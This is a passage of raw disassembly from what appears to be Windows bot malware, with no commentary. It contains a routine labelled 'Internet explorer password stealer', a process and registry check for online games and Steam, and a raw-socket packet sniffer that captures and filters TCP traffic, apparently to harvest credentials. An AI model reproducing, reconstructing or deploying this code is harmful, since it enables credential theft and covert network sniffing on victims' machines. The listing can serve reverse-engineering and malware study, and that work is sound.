[ebp-0EF8h], 0 jmp short loc_415704 ; --------------------------------------------------------------------------- loc_4156F7: ; CODE XREF: sub_414EF4:loc_41583Dj mov eax, [ebp-0EF8h] inc eax mov [ebp-0EF8h], eax loc_415704: ; CODE XREF: sub_414EF4+801j mov eax, [ebp-0EE8h] movzx eax, byte ptr [eax+4] cmp [ebp-0EF8h], eax jge loc_415842 mov eax, [ebp-0EF4h] inc eax push eax lea eax, [ebp-0FC4h] push eax call dword_4170FC ; lstrcpy push offset dword_41D54C lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_41575C push offset dword_41D54C lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_41575C: ; CODE XREF: sub_414EF4+850j push offset dword_41D54C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415798 push offset dword_41D54C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax inc eax push eax lea eax, [ebp-0F60h] push eax call dword_4170FC ; lstrcpy loc_415798: ; CODE XREF: sub_414EF4+87Ej push offset dword_41D54C lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4157C5 push offset dword_41D54C lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4157C5: ; CODE XREF: sub_414EF4+8B9j push offset dword_41D54C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx mov esi, eax lea eax, [ebp-0F60h] push eax call dword_41703C ; lstrlen lea eax, [esi+eax+9] mov [ebp-0EF4h], eax mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41583D lea eax, [ebp-0F60h] push eax lea eax, [ebp-0FC4h] push eax push dword ptr [ebp-214h] push offset dword_41D50C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41583D: ; CODE XREF: sub_414EF4+91Fj jmp loc_4156F7 ; --------------------------------------------------------------------------- loc_415842: ; CODE XREF: sub_414EF4+6EEj ; sub_414EF4+820j push offset aE161255a ; "e161255a" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_4159E0 push offset aStringindex ; "StringIndex" lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz loc_4159E0 push offset dword_41D4EC lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4158A4 push offset dword_41D4EC lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4158A4: ; CODE XREF: sub_414EF4+998j push 8 lea eax, [ebp-210h] push eax lea eax, [ebp-0EE0h] push eax call dword_417100 ; lstrcpyn push offset dword_41D4E4 lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 push offset dword_41D4DC lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_415933 lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D494 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_415933: ; CODE XREF: sub_414EF4+A15j jmp loc_4159E0 ; --------------------------------------------------------------------------- loc_415938: ; CODE XREF: sub_414EF4+9DBj ; sub_414EF4+9F2j push offset byte_41DF00 lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset dword_41D54C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415999 push offset dword_41D54C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset dword_41D54C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415999: ; CODE XREF: sub_414EF4+A6Bj mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D438 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4159E0: ; CODE XREF: sub_414EF4+962j ; sub_414EF4+97Dj ... push 200h push 0 lea eax, [ebp-210h] push eax call sub_416B6A ; memset add esp, 0Ch push 200h push 0 lea eax, [ebp-9FCh] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4152C7 ; --------------------------------------------------------------------------- loc_415A11: ; CODE XREF: sub_414EF4+410j mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0E14h], 0 jz short loc_415A30 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A30: ; CODE XREF: sub_414EF4+B28j jmp loc_4151DD ; --------------------------------------------------------------------------- loc_415A35: ; CODE XREF: sub_414EF4+326j mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415A54 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A54: ; CODE XREF: sub_414EF4+B4Cj jmp loc_4150CB ; --------------------------------------------------------------------------- loc_415A59: ; CODE XREF: sub_414EF4+20Ej ; sub_414EF4+220j mov al, [ebp-0A14h] mov [ebp-0A54h], al push 3E8h call dword_41709C ; Sleep push dword ptr [ebp-214h] mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D3FC lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 10h push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD8h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_415ABB mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ABB: ; CODE XREF: sub_414EF4+BB9j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_415ADA mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ADA: ; CODE XREF: sub_414EF4+BD2j mov eax, [ebp-0FD8h] loc_415AE0: ; CODE XREF: sub_414EF4+B9j ; sub_414EF4+19Cj mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi leave retn 4 sub_414EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AF0 proc near ; CODE XREF: sub_40A9CF+7Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_41DF50, 0 jnz short loc_415AFF jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415AFF: ; CODE XREF: sub_415AF0+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415B15 jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415B15: ; CODE XREF: sub_415AF0+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push [ebp+var_4] push offset sub_414EF4 call sub_4095A4 add esp, 10h locret_415B3D: ; CODE XREF: sub_415AF0+Dj ; sub_415AF0+23j leave retn sub_415AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B3F proc near ; CODE XREF: BrattyUS:00416FB6p ; BrattyUS:00416FBFp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short locret_415B5E mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+var_4] mov ecx, [ecx] mov ecx, [ecx] push eax call dword ptr [ecx+8] locret_415B5E: ; CODE XREF: sub_415B3F+Dj leave retn sub_415B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B60 proc near ; DATA XREF: sub_415DFD+35o var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = dword ptr -5C4h var_5C0 = dword ptr -5C0h var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_41C = byte ptr -41Ch var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5B8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx and [ebp+var_5C4], 0 and [ebp+var_410], 0 and [ebp+var_40C], 0 and [ebp+var_408], 0 and [ebp+var_404], 0 and [ebp+var_5BC], 0 jmp short loc_415BC2 ; --------------------------------------------------------------------------- loc_415BB5: ; CODE XREF: sub_415B60:loc_415C50j mov eax, [ebp+var_5BC] inc eax mov [ebp+var_5BC], eax loc_415BC2: ; CODE XREF: sub_415B60+53j cmp [ebp+var_5BC], 0FFFFh jnb loc_415C55 push 400h lea eax, [ebp+var_400] push eax push [ebp+var_5BC] call dword_4171E4 ; GetWindowTextA push 7 push offset aUnreal3 ; "Unreal3" lea eax, [ebp+var_400] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_415C0E mov [ebp+var_410], 1 loc_415C0E: ; CODE XREF: sub_415B60+A2j push offset aWorldOfWarcraf ; "World Of Warcraft" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C2F mov [ebp+var_408], 1 loc_415C2F: ; CODE XREF: sub_415B60+C3j push offset aConquer ; "[Conquer]" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C50 mov [ebp+var_404], 1 loc_415C50: ; CODE XREF: sub_415B60+E4j jmp loc_415BB5 ; --------------------------------------------------------------------------- loc_415C55: ; CODE XREF: sub_415B60+6Cj and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415C88 mov [ebp+var_5C4], 1 loc_415C88: ; CODE XREF: sub_415B60+11Cj push [ebp+var_5C0] call dword_417028 ; RegCloseKey and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415CC7 mov [ebp+var_40C], 1 loc_415CC7: ; CODE XREF: sub_415B60+15Bj push [ebp+var_5C0] call dword_417028 ; RegCloseKey movsx eax, [ebp+var_41C] test eax, eax jz short loc_415D1E cmp [ebp+var_410], 0 jnz short loc_415D1E cmp [ebp+var_5C4], 0 jnz short loc_415D1E cmp [ebp+var_40C], 0 jnz short loc_415D1E cmp [ebp+var_408], 0 jnz short loc_415D1E cmp [ebp+var_404], 0 jnz short loc_415D1E push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax jmp locret_415DF9 ; --------------------------------------------------------------------------- loc_415D1E: ; CODE XREF: sub_415B60+17Cj ; sub_415B60+185j ... cmp [ebp+var_404], 0 jz short loc_415D33 mov [ebp+var_5C8], offset aYes ; "Yes" jmp short loc_415D3D ; --------------------------------------------------------------------------- loc_415D33: ; CODE XREF: sub_415B60+1C5j mov [ebp+var_5C8], offset aNo ; "No" loc_415D3D: ; CODE XREF: sub_415B60+1D1j cmp [ebp+var_408], 0 jz short loc_415D52 mov [ebp+var_5CC], offset aYes ; "Yes" jmp short loc_415D5C ; --------------------------------------------------------------------------- loc_415D52: ; CODE XREF: sub_415B60+1E4j mov [ebp+var_5CC], offset aNo ; "No" loc_415D5C: ; CODE XREF: sub_415B60+1F0j cmp [ebp+var_40C], 0 jz short loc_415D71 mov [ebp+var_5D0], offset aYes ; "Yes" jmp short loc_415D7B ; --------------------------------------------------------------------------- loc_415D71: ; CODE XREF: sub_415B60+203j mov [ebp+var_5D0], offset aNo ; "No" loc_415D7B: ; CODE XREF: sub_415B60+20Fj cmp [ebp+var_5C4], 0 jz short loc_415D90 mov [ebp+var_5D4], offset aYes ; "Yes" jmp short loc_415D9A ; --------------------------------------------------------------------------- loc_415D90: ; CODE XREF: sub_415B60+222j mov [ebp+var_5D4], offset aNo ; "No" loc_415D9A: ; CODE XREF: sub_415B60+22Ej cmp [ebp+var_410], 0 jz short loc_415DAF mov [ebp+var_5D8], offset aYes ; "Yes" jmp short loc_415DB9 ; --------------------------------------------------------------------------- loc_415DAF: ; CODE XREF: sub_415B60+241j mov [ebp+var_5D8], offset aNo ; "No" loc_415DB9: ; CODE XREF: sub_415B60+24Dj push [ebp+var_5C8] push [ebp+var_5CC] push [ebp+var_5D0] push [ebp+var_5D4] push [ebp+var_5D8] push offset dword_41D67C lea eax, [ebp+var_5B4] push eax call sub_40D53F add esp, 1Ch push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax locret_415DF9: ; CODE XREF: sub_415B60+1B9j leave retn 4 sub_415B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DFD proc near ; CODE XREF: sub_40A9CF+12FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415E17 jmp short locret_415E3F ; --------------------------------------------------------------------------- loc_415E17: ; CODE XREF: sub_415DFD+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push [ebp+var_4] push offset sub_415B60 call sub_4095A4 add esp, 10h locret_415E3F: ; CODE XREF: sub_415DFD+18j leave retn sub_415DFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E41 proc near ; CODE XREF: sub_415EB7+37p ; sub_415EB7+59p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_415E52 ; --------------------------------------------------------------------------- loc_415E4B: ; CODE XREF: sub_415E41+69j ; sub_415E41:loc_415EB1j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_415E52: ; CODE XREF: sub_415E41+8j mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4], 0 jz short loc_415EB3 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EB1 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4+4], 0 jz short loc_415EAC mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EAC jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EAC: ; CODE XREF: sub_415E41+49j ; sub_415E41+67j push 1 pop eax jmp short locret_415EB5 ; --------------------------------------------------------------------------- loc_415EB1: ; CODE XREF: sub_415E41+3Aj jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EB3: ; CODE XREF: sub_415E41+1Dj xor eax, eax locret_415EB5: ; CODE XREF: sub_415E41+6Ej leave retn sub_415E41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EB7 proc near ; CODE XREF: sub_415F69+420p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 jz short loc_415EDD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EDD push 1 pop eax jmp loc_415F67 ; --------------------------------------------------------------------------- loc_415EDD: ; CODE XREF: sub_415EB7+7j ; sub_415EB7+1Cj cmp [ebp+arg_8], 1 jb short loc_415EFF push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7AC call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415EFF push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415EFF: ; CODE XREF: sub_415EB7+2Aj ; sub_415EB7+41j cmp [ebp+arg_8], 2 jb short loc_415F21 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D808 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F21 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: sub_415EB7+4Cj ; sub_415EB7+63j cmp [ebp+arg_8], 3 jb short loc_415F43 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D87C call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F43 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F43: ; CODE XREF: sub_415EB7+6Ej ; sub_415EB7+85j cmp [ebp+arg_8], 4 jb short loc_415F65 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D8C0 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F65 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F65: ; CODE XREF: sub_415EB7+90j ; sub_415EB7+A7j xor eax, eax loc_415F67: ; CODE XREF: sub_415EB7+21j ; sub_415EB7+46j ... pop ebp retn sub_415EB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F69 proc near ; DATA XREF: sub_41665C+A6o var_19B8 = dword ptr -19B8h var_19B4 = byte ptr -19B4h var_18B4 = dword ptr -18B4h var_18B0 = byte ptr -18B0h var_17B0 = dword ptr -17B0h var_17AC = dword ptr -17ACh var_17A8 = byte ptr -17A8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = byte ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = dword ptr -1614h var_1610 = dword ptr -1610h var_160C = byte ptr -160Ch var_140C = byte ptr -140Ch var_127E = byte ptr -127Eh var_1278 = byte ptr -1278h var_1274 = byte ptr -1274h var_1268 = word ptr -1268h var_1264 = byte ptr -1264h var_1263 = byte ptr -1263h var_125C = dword ptr -125Ch var_1258 = word ptr -1258h var_1254 = byte ptr -1254h var_1154 = dword ptr -1154h var_1150 = dword ptr -1150h var_114C = byte ptr -114Ch var_114B = byte ptr -114Bh var_104C = dword ptr -104Ch var_1048 = word ptr -1048h var_1044 = dword ptr -1044h var_1038 = byte ptr -1038h var_1037 = byte ptr -1037h var_1030 = byte ptr -1030h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 19B8h call sub_416BC0 push edi push 3ABh push [ebp+arg_0] lea eax, [ebp+var_1614] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movsx eax, [ebp+var_160C] neg eax sbb eax, eax lea ecx, [ebp+var_160C] and eax, ecx mov [ebp+var_1624], eax push 0 push 3 push 2 call dword_417218 ; socket mov [ebp+var_104C], eax cmp [ebp+var_104C], 0FFFFFFFFh jnz short loc_415FDE push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_415FDE: ; CODE XREF: sub_415F69+60j push 0FFh lea eax, [ebp+var_1254] push eax call dword_417260 ; gethostname lea eax, [ebp+var_1254] push eax call dword_41723C ; gethostbyname mov [ebp+var_1154], eax cmp [ebp+var_1154], 0 jnz short loc_41602B push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_41602B: ; CODE XREF: sub_415F69+A1j push 10h push 0 lea eax, [ebp+var_1048] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1048], 2 mov eax, [ebp+var_1154] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_1044], eax push 10h lea eax, [ebp+var_1048] push eax push [ebp+var_104C] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_416093 push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_416093: ; CODE XREF: sub_415F69+109j mov [ebp+var_1150], 1 push 0 push 0 lea eax, [ebp+var_1620] push eax push 0 push 0 push 4 lea eax, [ebp+var_1150] push eax push 98000001h push [ebp+var_104C] call dword_41725C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4160EA push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_4160EA: ; CODE XREF: sub_415F69+160j lea eax, [ebp+var_1030] mov [ebp+var_161C], eax and [ebp+var_1628], 0 and [ebp+var_4], 0 push [ebp+var_1610] mov eax, [ebp+var_1614] push dword ptr [eax] push offset unk_41DA8C lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 10h and [ebp+var_1274], 0 and [ebp+var_114C], 0 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_114B] rep stosd stosw stosb and [ebp+var_1264], 0 xor eax, eax lea edi, [ebp+var_1263] stosd stosb lea eax, [ebp+var_114C] push eax call sub_40CF25 push eax call sub_4044F7 pop ecx pop ecx lea eax, [ebp+var_1264] push eax call sub_40CF25 push eax call sub_4045B2 pop ecx pop ecx lea eax, [ebp+var_114C] push eax call dword_417244 ; inet_addr mov [ebp+var_1618], eax lea eax, [ebp+var_1264] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1268], ax and [ebp+var_1038], 0 xor eax, eax lea edi, [ebp+var_1037] stosd stosb lea eax, [ebp+var_1038] push eax call sub_40CF25 push eax call sub_404552 pop ecx pop ecx mov eax, [ebp+var_1044] mov [ebp+var_125C], eax lea eax, [ebp+var_1038] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1258], ax loc_4161E6: ; CODE XREF: sub_415F69+305j ; sub_415F69+33Aj ... push 0 push 1028h lea eax, [ebp+var_1030] push eax push [ebp+var_104C] call dword_417248 ; recv mov [ebp+var_17AC], eax mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_416217 jmp loc_416637 ; --------------------------------------------------------------------------- loc_416217: ; CODE XREF: sub_415F69+2A7j cmp [ebp+var_17AC], 0FFFFFFFFh jz short loc_416229 cmp [ebp+var_17AC], 0 jnz short loc_41622E loc_416229: ; CODE XREF: sub_415F69+2B5j jmp loc_416637 ; --------------------------------------------------------------------------- loc_41622E: ; CODE XREF: sub_415F69+2BEj mov eax, [ebp+var_17AC] and [ebp+eax+var_1030], 0 mov eax, [ebp+var_161C] mov al, [eax] and al, 0Fh movzx eax, al mov ecx, [ebp+var_161C] lea eax, [ecx+eax*4] mov [ebp+var_1628], eax mov eax, [ebp+var_1628] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_416273 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416273: ; CODE XREF: sub_415F69+303j mov eax, [ebp+var_1628] mov al, [eax+0Ch] shr al, 4 and al, 0Fh movzx eax, al mov ecx, [ebp+var_1628] lea eax, [ecx+eax*4] mov [ebp+var_4], eax mov eax, [ebp+var_4] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_4162A8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: sub_415F69+338j push [ebp+var_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_17AC], eax mov eax, [ebp+var_161C] movzx eax, byte ptr [eax+9] cmp eax, 6 jnz loc_416632 movsx eax, [ebp+var_127E] test eax, eax jz short loc_4162EB mov eax, [ebp+var_161C] mov eax, [eax+10h] cmp eax, [ebp+var_125C] jz short loc_4162EB jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162EB: ; CODE XREF: sub_415F69+36Aj ; sub_415F69+37Bj movsx eax, [ebp+var_1278] test eax, eax jz short loc_41630C mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jz short loc_41630C jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: sub_415F69+38Bj ; sub_415F69+39Cj mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1258] cmp eax, ecx jnz short loc_416340 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jnz short loc_416340 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416340: ; CODE XREF: sub_415F69+3BFj ; sub_415F69+3D0j mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1268] cmp eax, ecx jnz short loc_416374 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_1618] jnz short loc_416374 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416374: ; CODE XREF: sub_415F69+3F3j ; sub_415F69+404j push [ebp+var_1624] push [ebp+var_1610] push [ebp+var_17AC] push [ebp+var_4] call sub_415EB7 add esp, 10h test eax, eax jz loc_416632 and [ebp+var_19B8], 0 jmp short loc_4163AF ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: sub_415F69:loc_416413j mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_4163AF: ; CODE XREF: sub_415F69+437j mov eax, [ebp+var_19B8] cmp eax, [ebp+var_17AC] jnb short loc_416415 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_4163DA mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Dh loc_4163DA: ; CODE XREF: sub_415F69+463j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_4163F7 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 3Eh loc_4163F7: ; CODE XREF: sub_415F69+480j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_416413 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Eh loc_416413: ; CODE XREF: sub_415F69+49Cj jmp short loc_4163A2 ; --------------------------------------------------------------------------- loc_416415: ; CODE XREF: sub_415F69+452j and [ebp+var_19B8], 0 mov eax, [ebp+var_19B8] mov [ebp+var_17AC], eax jmp short loc_416437 ; --------------------------------------------------------------------------- loc_41642A: ; CODE XREF: sub_415F69+507j ; sub_415F69+51Aj ... mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_416437: ; CODE XREF: sub_415F69+4BFj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41645F mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl jmp short loc_4164AA ; --------------------------------------------------------------------------- loc_41645F: ; CODE XREF: sub_415F69+4DCj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 7Fh jl short loc_416472 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416472: ; CODE XREF: sub_415F69+505j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 1Fh jg short loc_416485 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416485: ; CODE XREF: sub_415F69+518j mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_17AC] inc eax mov [ebp+var_17AC], eax jmp short loc_41642A ; --------------------------------------------------------------------------- loc_4164AA: ; CODE XREF: sub_415F69+4F4j cmp [ebp+var_17AC], 0 jnz short loc_4164B8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4164B8: ; CODE XREF: sub_415F69+548j push 100h mov eax, [ebp+var_161C] push dword ptr [eax+0Ch] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_19B4] push eax call sub_407A56 add esp, 0Ch push 100h mov eax, [ebp+var_161C] push dword ptr [eax+10h] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_18B0] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_1628] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push 